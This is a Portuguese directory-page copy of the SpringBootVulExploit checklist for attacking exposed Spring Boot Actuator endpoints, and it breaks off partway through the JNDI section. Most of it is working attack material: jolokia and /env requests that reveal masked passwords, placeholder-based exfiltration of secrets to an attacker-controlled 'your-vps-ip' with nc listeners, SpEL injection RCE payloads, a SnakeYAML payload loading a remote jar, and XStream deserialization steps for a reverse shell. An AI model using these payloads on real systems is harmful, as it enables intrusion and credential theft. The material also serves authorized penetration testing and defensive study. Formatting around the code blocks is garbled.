Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
SpringBootVulExploit — Materiais de estudo de vulnerabilidades relacionadas ao SpringBoot, coleção de métodos e técnicas de exploração, check list de avaliação de segurança black-box | Kitploit
Ferramentas/GitHubGitHub/landgrey/springbootvulexploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAprendizado e Educação
GitHublandgrey/springbootvulexploit

SpringBootVulExploit

Materiais de estudo de vulnerabilidades relacionadas ao SpringBoot, coleção de métodos e técnicas de exploração, check list de avaliação de segurança black-box

Ver Repositório
6.1k1.3k8há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Spring Boot Vulnerability Exploit Check List

Materiais de estudo sobre vulnerabilidades relacionadas ao Spring Boot, coleção de métodos e técnicas de exploração, lista de verificação de avaliação de segurança black box

Declaração

⚠️ Todo o conteúdo deste projeto destina-se apenas a pesquisas de segurança e testes autorizados. As pessoas relevantes não se responsabilizam por quaisquer danos causados pelo uso indevido e abuso do projeto

Índice

  • Spring Boot Vulnerability Exploit Check List
    • Zero: Rotas e Versões
      • 0x01: Conhecimento de Rotas
      • 0x02: Conhecimento de Versões
        • Dependências Mútuas entre Versões de Componentes:
        • Dependências entre as versões do Spring Cloud e do Spring Boot:
        • Sufixos e significados dos números de versão secundária do Spring Cloud:
    • Um: Vazamento de Informações
      • 0x01: Vazamento de Endereços de Rotas e Detalhes de Chamadas de Interface
  • 0x02: Configuração Inadequada Expondo Rotas
  • 0x03: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 1)
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Encontrar o nome da propriedade desejada
      • Passo 2: Chamar o Mbean relacionado via jolokia para obter o texto claro
  • 0x04: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 2)
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Encontrar o nome da propriedade desejada
      • Passo 2: Usar nc para ouvir requisições HTTP
      • Passo 3: Definir a propriedade eureka.client.serviceUrl.defaultZone
      • Passo 4: Atualizar a configuração
      • Passo 5: Decodificar o valor da propriedade
  • 0x05: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 3)
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Encontrar o nome da propriedade desejada
      • Passo 2: Usar nc para ouvir requisições HTTP
      • Passo 3: Acionar requisição HTTP externa
      • Passo 4: Atualizar a configuração
  • 0x06: Obter o Texto Claro da Senha Mascarada com Asteriscos (Método 4)
    • Condições de Exploração:
    • Método de Exploração:
      • Passo 1: Encontrar o nome da propriedade desejada
      • Passo 2: Baixar informações do heap da JVM
      • Passo 3: Usar o MAT para obter o texto claro da senha no heap da JVM
  • Dois: Execução Remota de Código
    • 0x01: Página de Erro Whitelabel SpEL RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Encontrar um local de passagem de parâmetros normal
        • Passo 2: Executar expressão SpEL
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x02: Spring Cloud SnakeYAML RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Hostear arquivos yml e jar
        • Passo 2: Definir a propriedade spring.cloud.bootstrap.location
        • Passo 3: Atualizar a configuração
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x03: Eureka XStream Deserialization RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Montar um site que responda com payload XStream malicioso
        • Passo 2: Ouvir a porta de reverse shell
        • Passo 3: Definir a propriedade eureka.client.serviceUrl.defaultZone
        • Passo 4: Atualizar a configuração
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x04: Jolokia Logback JNDI RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Visualizar MBeans existentes
        • Passo 2: Hostear arquivo xml
        • Passo 3: Preparar o código Java a ser executado
        • Passo 4: Montar serviço ldap malicioso
        • Passo 5: Ouvir a porta de reverse shell
        • Passo 6: Carregar arquivo de configuração de log de uma URL externa
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x05: Jolokia Realm JNDI RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Visualizar MBeans existentes
        • Passo 2: Preparar o código Java a ser executado
        • Passo 3: Hostear arquivo class
        • Passo 4: Montar serviço rmi malicioso
        • Passo 5: Ouvir a porta de reverse shell
        • Passo 6: Enviar payload malicioso
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x06: Reiniciar H2 Database Query RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Definir a propriedade spring.datasource.hikari.connection-test-query
        • Passo 2: Reiniciar a aplicação
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x07: H2 Database Console JNDI RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Acessar a rota para obter jsessionid
        • Passo 2: Preparar o código Java a ser executado
        • Passo 3: Hostear arquivo class
        • Passo 4: Montar serviço ldap malicioso
        • Passo 5: Ouvir a porta de reverse shell
        • Passo 6: Enviar pacote para acionar injeção JNDI
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x08: MySQL JDBC Deserialization RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Verificar dependências do ambiente
        • Passo 2: Montar servidor rogue mysql malicioso
        • Passo 3: Definir a propriedade spring.datasource.url
        • Passo 4: Atualizar a configuração
        • Passo 5: Acionar consulta ao banco de dados
        • Passo 6: Restaurar jdbc url normal
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x09: Reiniciar logging.config Logback JNDI RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Hostear arquivo xml
        • Passo 2: Hostear serviço ldap malicioso e código
        • Passo 3: Definir a propriedade logging.config
        • Passo 4: Reiniciar a aplicação
      • Princípio da Vulnerabilidade:
      • Análise da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x0A: Reiniciar logging.config Groovy RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Hostear arquivo groovy
        • Passo 2: Definir a propriedade logging.config
        • Passo 3: Reiniciar a aplicação
      • Princípio da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x0B: Reiniciar spring.main.sources Groovy RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Hostear arquivo groovy
        • Passo 2: Definir a propriedade spring.main.sources
        • Passo 3: Reiniciar a aplicação
      • Princípio da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
    • 0x0C: Reiniciar spring.datasource.data H2 Database RCE
      • Condições de Exploração:
      • Método de Exploração:
        • Passo 1: Hostear arquivo sql
        • Passo 2: Definir a propriedade spring.datasource.data
        • Passo 3: Reiniciar a aplicação
      • Princípio da Vulnerabilidade:
      • Ambiente da Vulnerabilidade:
  • Zero: Rotas e Versões

    0x01: Conhecimento de Rotas

    • Alguns programadores personalizam /manage, /management, ou nomes relacionados ao App do projeto como caminho raiz do Spring.
    • Na versão 1.x do Spring Boot Actuator, o caminho inicial das rotas internas padrão é /, enquanto na versão 2.x, o caminho inicial é unificado como /actuator.
    • Os nomes das rotas internas padrão do Spring Boot Actuator, como /env, às vezes são modificados pelos programadores, por exemplo, para /appenv.

    0x02: Conhecimento de Versões

    O Spring Cloud é uma coleção ordenada de uma série de frameworks baseados no Spring Boot para construir serviços e fornecer funcionalidades comuns como gerenciamento de configuração, registro e descoberta de serviços, roteamento inteligente, etc., ajudando no desenvolvimento rápido de sistemas distribuídos.

    Dependências Mútuas entre Versões de Componentes:

    DependênciaLista de Versões e Versões de Componentes Dependentes
    spring-boot-starter-parentspring-boot-starter-parent
    spring-boot-dependenciesspring-boot-dependencies
    spring-cloud-dependenciesspring-cloud-dependencies

    Dependências entre as versões do Spring Cloud e do Spring Boot:

    Versão Principal do Spring CloudVersão do Spring Boot
    AngelCompatível com Spring Boot 1.2.x
    BrixtonCompatível com Spring Boot 1.3.x, 1.4.x
    CamdenCompatível com Spring Boot 1.4.x, 1.5.x
    DalstonCompatível com Spring Boot 1.5.x, não compatível com 2.0.x
    EdgwareCompatível com Spring Boot 1.5.x, não compatível com 2.0.x
    FinchleyCompatível com Spring Boot 2.0.x, não compatível com 1.5.x
    GreenwichCompatível com Spring Boot 2.1.x
    HoxtonCompatível com Spring Boot 2.2.x

    Sufixos e significados dos números de versão secundária do Spring Cloud:

    Sufixo da versão secundáriaSignificado
    BUILD-SNAPSHOTVersão snapshot, código não fixo, em constante mudança
    MXVersão marco
    RCXVersão candidata a lançamento
    RELEASEVersão de lançamento oficial
    SRXVersão de lançamento oficial (correção de erros e bugs e relançamento)

    Um: Vazamento de Informações

    0x01: Vazamento de Endereços de Rotas e Detalhes de Chamadas de Interface

    Os desenvolvedores não percebem que o vazamento de endereços pode causar riscos de segurança, ou quando o ambiente de desenvolvimento é alterado para o ambiente de produção online, as pessoas relevantes não alteram os arquivos de configuração, esquecem de alternar a configuração do ambiente, etc.

    Acesse diretamente as duas rotas relacionadas ao Swagger a seguir para verificar se a vulnerabilidade existe:``` /v2/api-docs /swagger-ui.html

    root@kitploit:~
    Algumas outras rotas de interface relacionadas que podem ser encontradas, como swagger, swagger codegen, swagger-dubbo:```
    /swagger
    /api-docs
    /api.html
    /swagger-ui
    /swagger/codes
    /api/index.html
    /api/v2/api-docs
    /v2/swagger.json
    /swagger-ui/html
    /distv2/index.html
    /swagger/index.html
    /sw/swagger-ui.html
    /api/swagger-ui.html
    /static/swagger.json
    /user/swagger-ui.html
    /swagger-ui/index.html
    /swagger-dubbo/api-docs
    /template/swagger-ui.html
    /swagger/static/index.html
    /dubbo-provider/distv2/index.html
    /spring-security-rest/api/swagger-ui.html
    /spring-security-oauth-resource/swagger-ui.html
    

    Além disso, as seguintes rotas relacionadas ao spring boot actuator às vezes também contêm (ou inferem) algumas informações de endereço de interface, mas não podem obter informações relacionadas aos parâmetros:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

    root@kitploit:~
    **De modo geral, expor as interfaces e informações de parâmetros de uma aplicação Spring Boot não é considerado uma vulnerabilidade**, mas, do ponto de vista da "**segurança padrão**", não expor essas informações é mais seguro.
    
    Para um atacante, normalmente ele auditará minuciosamente as interfaces expostas para obter mais conhecimento sobre o sistema de negócios e, ao mesmo tempo, verificará se o sistema de aplicação possui outros tipos de vulnerabilidades de negócio, como acesso não autorizado, escalonamento de privilégios, etc.
    
    ### 0x02: Rotas expostas devido a configuração inadequada
    
    > Principalmente porque o desenvolvedor não percebeu que expor rotas poderia representar um risco de segurança durante o desenvolvimento, ou não seguiu o fluxo de trabalho padrão, esquecendo-se de modificar/alternar para a configuração do ambiente de produção quando necessário.
    
    Consultando [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) e [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt), as rotas padrão internas que podem ser expostas devido a configuração inadequada podem incluir:```
    /actuator
    /auditevents
    /autoconfig
    /beans
    /caches
    /conditions
    /configprops
    /docs
    /dump
    /env
    /flyway
    /health
    /heapdump
    /httptrace
    /info
    /intergrationgraph
    /jolokia
    /logfile
    /loggers
    /liquibase
    /metrics
    /mappings
    /prometheus
    /refresh
    /scheduledtasks
    /sessions
    /shutdown
    /trace
    /threaddump
    /actuator/auditevents
    /actuator/beans
    /actuator/health
    /actuator/conditions
    /actuator/configprops
    /actuator/env
    /actuator/info
    /actuator/loggers
    /actuator/heapdump
    /actuator/threaddump
    /actuator/metrics
    /actuator/scheduledtasks
    /actuator/httptrace
    /actuator/mappings
    /actuator/jolokia
    /actuator/hystrix.stream
    

    Entre as interfaces mais importantes para encontrar vulnerabilidades estão:

    • /env、/actuator/env

      A requisição GET /env vaza diretamente variáveis de ambiente, endereços de rede interna, nomes de utilizadores em configurações, etc.; quando o programador nomeia atributos de forma irregular, por exemplo, escrevendo password como psasword, pwd, pode vazar senhas em texto claro;

      Ao mesmo tempo, existe uma certa probabilidade de definir alguns atributos através da requisição POST ao endpoint /env, desencadeando indiretamente vulnerabilidades RCE relacionadas; também há chance de obter o texto claro de senhas, chaves e outras informações privadas importantes que estavam ocultas com asteriscos.

    • /refresh、/actuator/refresh

      Após definir atributos via requisição POST ao endpoint /env, pode-se combinar com a requisição POST ao endpoint /refresh para atualizar as variáveis de atributo e assim desencadear vulnerabilidades RCE relacionadas.

    • /restart、/actuator/restart

      A exposição deste endpoint é menos comum; pode-se definir atributos via requisição POST ao endpoint /env e depois fazer uma requisição POST ao endpoint /restart para reiniciar a aplicação e desencadear vulnerabilidades RCE relacionadas.

    • /jolokia、/actuator/jolokia

      Através do endpoint /jolokia/list é possível encontrar MBeans que podem ser utilizados, desencadeando indiretamente vulnerabilidades RCE relacionadas ou obtendo o texto claro de informações privadas importantes ocultas com asteriscos.

    • /trace、/actuator/httptrace

      Alguns pacotes de requisição HTTP contêm informações de rastreamento de acesso, onde é possível encontrar detalhes de requisições de sistemas de aplicação na rede interna; bem como cookies de utilizadores válidos ou administradores, tokens JWT, etc.

    0x03: Obter o texto claro de senhas ocultas com asteriscos (Método 1)

    Ao aceder ao endpoint /env, o Spring Actuator substitui por * o valor dos atributos cujo nome contenha palavras-chave sensíveis (como password, secret), para efeitos de ofuscação.

    Condições de exploração:

    • O site alvo possui o endpoint /jolokia ou /actuator/jolokia
    • O alvo utiliza a dependência jolokia-core (versão necessária ainda desconhecida)

    Método de exploração:

    Passo 1: Encontrar o nome do atributo que se pretende obter

    Fazer uma requisição GET ao endpoint /env ou /actuator/env do site alvo, procurar pela palavra-chave ****** e encontrar o nome do atributo cujo valor, oculto por asteriscos *, se pretende obter.

    Passo 2: Invocar o MBean correspondente através do jolokia para obter o texto claro

    Substituir security.user.password no exemplo abaixo pelo nome real do atributo que se pretende obter e enviar o pacote diretamente; o resultado do texto claro estará contido na chave value do pacote de resposta.

    • Invocar o MBean org.springframework.boot

    Na verdade, invoca o método getProperty da instância da classe org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • Chamar o Mbean org.springframework.cloud.context.environment

    Na verdade, é chamar o método getProperty da instância da classe org.springframework.cloud.context.environment.EnvironmentManager

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • Chamar outros MBeans

    A situação específica do alvo e os MBeans existentes podem ser diferentes. Você pode pesquisar palavras-chave como getProperty para encontrar métodos que possam ser chamados.

    0x04: Obtendo texto claro de senhas mascaradas com asteriscos (Método 2)

    Condições de exploração:

    • Pode fazer requisição GET para /env do site alvo
    • Pode fazer requisição POST para /env do site alvo
    • Pode fazer requisição POST para a interface /refresh do site alvo para atualizar a configuração (existe a dependência spring-boot-starter-actuator)
    • O alvo utiliza a dependência spring-cloud-starter-netflix-eureka-client
    • O alvo pode fazer requisições para o servidor do atacante (as requisições podem sair para a internet)

    Método de exploração:

    Passo 1: Encontrar o nome da propriedade que deseja obter

    Faça uma requisição GET para a interface /env ou /actuator/env do site alvo, pesquise a palavra-chave ****** e encontre o nome da propriedade correspondente ao valor mascarado por asteriscos * que deseja obter.

    Passo 2: Usar nc para escutar requisições HTTP

    Escute na porta 80 do seu servidor externo controlado:```bash nc -lvk 80

    root@kitploit:~
    ##### Passo 3: Definir a propriedade eureka.client.serviceUrl.defaultZone
    
    Substitua o `security.user.password` no seguinte `http://value:${security.user.password}@your-vps-ip` pelo nome do atributo correspondente que deseja obter, que está mascarado por asteriscos * ;
    
    Substitua o `your-vps-ip` pelo endereço IP real do seu servidor externo.
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

    root@kitploit:~
    ##### Passo 4: Atualizar configuração
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ##### Passo 5: Decodificar o valor do atributo
    
    Normalmente, neste momento, o servidor que está escutando com nc receberá uma solicitação do alvo, contendo algo semelhante ao seguinte cabeçalho `Authorization`:```
    Authorization: Basic dmFsdWU6MTIzNDU2
    

    Decodificando a parte dmFsdWU6MTIzNDU2 com base64, obtém-se um valor em texto claro como value:123456, onde 123456 é o valor do atributo antes da mascaramento com asterisco * alvo.

    0x05: Obter o texto claro da senha mascarada com asterisco (Método 3)

    Condições de uso:

    • Definir atributo via POST /env para acionar o alvo a fazer uma requisição HTTP arbitrária para um endereço especificado na internet
    • O alvo pode fazer requisições ao servidor do atacante (a requisição pode sair para a internet)

    Método de uso:

    Referência ao issue-1 proposto por UUUUnotfound, é possível, durante o envio da requisição HTTP externa pelo alvo, usar placeholders no caminho da URL para exfiltrar dados

    Passo 1: Encontrar o nome do atributo desejado

    Faça uma requisição GET ao endpoint /env ou /actuator/env do site alvo, procure pela palavra-chave ****** e encontre o nome do atributo correspondente ao valor mascarado com asterisco * que deseja obter.

    Passo 2: Usar nc para monitorar requisições HTTP

    Monitore a porta 80 em seu servidor externo controlado:```bash nc -lvk 80

    root@kitploit:~
    ##### Passo 3: Acionar uma requisição http externa
    
    - O método `spring.cloud.bootstrap.location` (**também aplicável a** casos em que há caracteres especiais de URL nos dados em texto claro)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

    root@kitploit:~
    - `eureka.client.serviceUrl.defaultZone` método (**não aplicável** a casos em que haja caracteres especiais de URL em dados de texto simples)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

    root@kitploit:~
    ##### Passo 4: Atualizar configuração
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ### 0x06: Obter o texto claro de senhas mascaradas por asteriscos (Método 4)
    
    > Ao acessar o endpoint /env, o Spring Actuator substitui os valores das propriedades com palavras-chave sensíveis (como password, secret) por asteriscos (*) para mascaramento.
    
    #### Condições de exploração:
    
    - Possibilidade de fazer solicitação GET normal para o endpoint `/heapdump` ou `/actuator/heapdump` do alvo.
    
    #### Método de exploração:
    
    ##### Passo 1: Encontrar o nome da propriedade desejada
    
    Faça uma solicitação GET para o endpoint `/env` ou `/actuator/env` do site alvo, procure pela palavra-chave `******` e encontre o nome da propriedade cujo valor está mascarado por asteriscos.
    
    ##### Passo 2: Baixar as informações do heap da JVM
    
    > O tamanho do arquivo heapdump baixado geralmente fica entre 50M e 500M, às vezes pode ser maior que 2G.
    
    Faça uma solicitação `GET` para o endpoint `/heapdump` ou `/actuator/heapdump` do alvo para baixar as informações do heap da JVM do aplicativo em tempo real.
    
    ##### Passo 3: Usar o MAT para obter o texto claro das senhas no heap da JVM
    
    Consulte o método do [artigo](https://landgrey.me/blog/16/) e use a instrução **OQL** da ferramenta [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php).```
    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
    
    或
    
    select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
    

    辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。

    2: Execução Remota de Código

    Como as vulnerabilidades relacionadas ao Spring Boot podem ser causadas por combinações de vulnerabilidades de múltiplos componentes, alguns nomes de vulnerabilidades não são muito formais, sendo o suficiente para distingui-los.

    0x01: whitelabel error page SpEL RCE

    Condições de exploração:

    • Spring Boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0
    • Pelo menos saber uma interface e nome de parâmetro que acionem a página de erro padrão do Spring Boot

    Método de exploração:

    Passo 1: Encontrar um local de passagem de parâmetros normal

    Por exemplo, ao acessar /article?id=xxx, a página exibirá um erro de código de status 500: Whitelabel Error Page. Então, os payloads subsequentes serão tentados no parâmetro id.

    Passo 2: Executar expressão SpEL

    Digite /article?id=${7*7}. Se a página de erro mostrar o valor 49 (resultado de 7*7) na página de erro, então basicamente pode-se confirmar que o alvo possui uma vulnerabilidade de injeção de expressão SpEL.

    Converter de formato de string para a forma de bytes Java 0x**, para facilitar a execução de código arbitrário:```python

    coding: utf-8

    result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

    root@kitploit:~
    Executar o comando `open -a Calculator````java
    ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    Princípio da vulnerabilidade:

    1. Quando o Spring Boot processa valores de parâmetros incorretamente, o fluxo entra na classe org.springframework.util.PropertyPlaceholderHelper
    2. Neste momento, os valores dos parâmetros na URL são analisados recursivamente pelo método parseStringValue
    3. O conteúdo cercado por ${} será analisado e executado como uma expressão SpEL pelo método resolvePlaceholder da classe org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration, resultando em uma vulnerabilidade RCE

    Análise da vulnerabilidade:

    ​ Vulnerabilidade de Injeção de Expressão SpEL no SpringBoot - Análise e Reprodução

    Ambiente da vulnerabilidade:

    repository/springboot-spel-rce

    Acesso normal:``` http://127.0.0.1:9091/article?id=66

    root@kitploit:~
    Execute o comando `open -a Calculator`:```java
    http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    0x02:spring cloud SnakeYAML RCE

    Pré-requisitos:

    • Pode fazer uma requisição POST ao endpoint /env do site alvo para definir propriedades
    • Pode fazer uma requisição POST ao endpoint /refresh do site alvo para atualizar a configuração (dependência spring-boot-starter-actuator presente)
    • A versão do spring-cloud-starter da qual o alvo depende é < 1.3.0.RELEASE
    • O alvo pode fazer requisições ao servidor HTTP do atacante (a requisição pode sair para a rede externa)

    Método de exploração:

    Passo 1: Hospedar arquivos yml e jar

    Em uma máquina VPS sob seu controle, inicie um servidor HTTP simples, usando portas comuns de serviço HTTP (80, 443) quando possível.```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    No diretório raiz do site, coloque um arquivo com sufixo `yml` chamado `example.yml`, com o seguinte conteúdo:```yaml
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://your-vps-ip/example.jar"]
      ]]
    ]
    

    No diretório raiz do site, coloque o arquivo com extensão jar chamado example.jar, cujo conteúdo será o código a ser executado. A codificação e compilação do código seguem a referência yaml-payload.

    Passo 2: Definir a propriedade spring.cloud.bootstrap.location

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
    
    Passo 3: Atualizar Configuração

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Princípio da Vulnerabilidade:

    1. A propriedade spring.cloud.bootstrap.location é definida como URL de um arquivo yml malicioso externo
    2. O refresh aciona a máquina alvo a solicitar o arquivo yml do servidor HTTP remoto, obtendo seu conteúdo
    3. Devido a uma vulnerabilidade de desserialização no SnakeYAML, a análise do conteúdo yml malicioso executará as ações especificadas
    4. Primeiro, aciona java.net.URL para baixar o arquivo jar malicioso do servidor HTTP remoto
    5. Em seguida, procura classes no arquivo jar que implementam a interface javax.script.ScriptEngineFactory e as instancia
    6. Ao instanciar a classe, o código malicioso é executado, causando a vulnerabilidade RCE

    Análise da Vulnerabilidade:

    ​Notas de estudo sobre Exploit Spring Boot Actuator e Spring Cloud Env

    Ambiente da Vulnerabilidade:

    repository/springcloud-snakeyaml-rce

    Acesso normal:``` http://127.0.0.1:9092/env

    root@kitploit:~
    ### 0x03: RCE por desserialização XStream no Eureka
    
    #### Condições de exploração:
    
    - Pode enviar requisições POST para o endpoint `/env` do site alvo para definir propriedades
    - Pode enviar requisições POST para o endpoint `/refresh` do site alvo para atualizar a configuração (com dependência `spring-boot-starter-actuator`)
    - O `eureka-client` usado pelo alvo < 1.8.7 (geralmente incluído na dependência `spring-cloud-starter-netflix-eureka-client`)
    - O alvo pode fazer requisições ao servidor HTTP do atacante (requisições podem sair para a rede externa)
    
    #### Método de exploração:
    
    ##### Passo 1: Configurar um site que responda com um payload XStream malicioso
    
    Fornecer um [exemplo de script Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) que depende do Flask e atende aos requisitos, cujo objetivo é usar o Python nativo da máquina Linux alvo para obter uma shell reversa.
    
    Execute o script acima em seu próprio servidor usando Python e modifique o endereço IP e a porta da shell reversa no script de acordo com a situação real.
    
    ##### Passo 2: Escutar a porta da shell reversa
    
    Geralmente usa-se netcat para escutar uma porta, aguardando a shell reversa.```bash
    nc -lvp 443
    
    Passo 3: Configure a propriedade eureka.client.serviceUrl.defaultZone

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
    
    Passo 4: Atualizar Configuração

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Princípio da vulnerabilidade:

    1. A propriedade eureka.client.serviceUrl.defaultZone é definida como um URL de servidor eureka externo malicioso
    2. O refresh aciona a máquina alvo a solicitar o URL remoto, e o servidor eureka falso previamente configurado retorna um payload malicioso
    3. As dependências relacionadas à máquina alvo analisam o payload, acionando a desserialização XStream, resultando em uma vulnerabilidade RCE

    Análise da vulnerabilidade:

    ​Spring Boot Actuator: De acesso não autorizado a getshell

    Ambiente da vulnerabilidade:

    repository/springboot-eureka-xstream-rce

    Acesso normal:``` http://127.0.0.1:9093/env

    root@kitploit:~
    ### 0x04: jolokia logback JNDI RCE
    
    #### Condições de exploração:
    
    - O site alvo possui a interface `/jolokia` ou `/actuator/jolokia`
    - O alvo utiliza a dependência `jolokia-core` (versão necessária desconhecida) e o ambiente possui MBeans relacionados
    - O alvo pode solicitar o servidor HTTP do atacante (a solicitação pode sair para a rede externa)
    
    - A injeção JNDI comum é afetada pela versão JDK do alvo, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), mas o ambiente relevante pode contornar isso
    
    #### Método de exploração:
    
    ##### Passo 1: Verificar os MBeans existentes
    
    Acesse a interface `/jolokia/list` e verifique se existem as palavras-chave `ch.qos.logback.classic.jmx.JMXConfigurator` e `reloadByURL`.
    
    ##### Passo 2: Hospedar o arquivo xml
    
    No seu próprio servidor VPS, inicie um servidor HTTP simples, usando portas comuns de serviços HTTP (80, 443) sempre que possível.```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    Coloque no diretório raiz o arquivo example.xml (terminado em xml), com o seguinte conteúdo:```xml

    root@kitploit:~
    ##### Passo 3: Preparar o código Java a ser executado
    
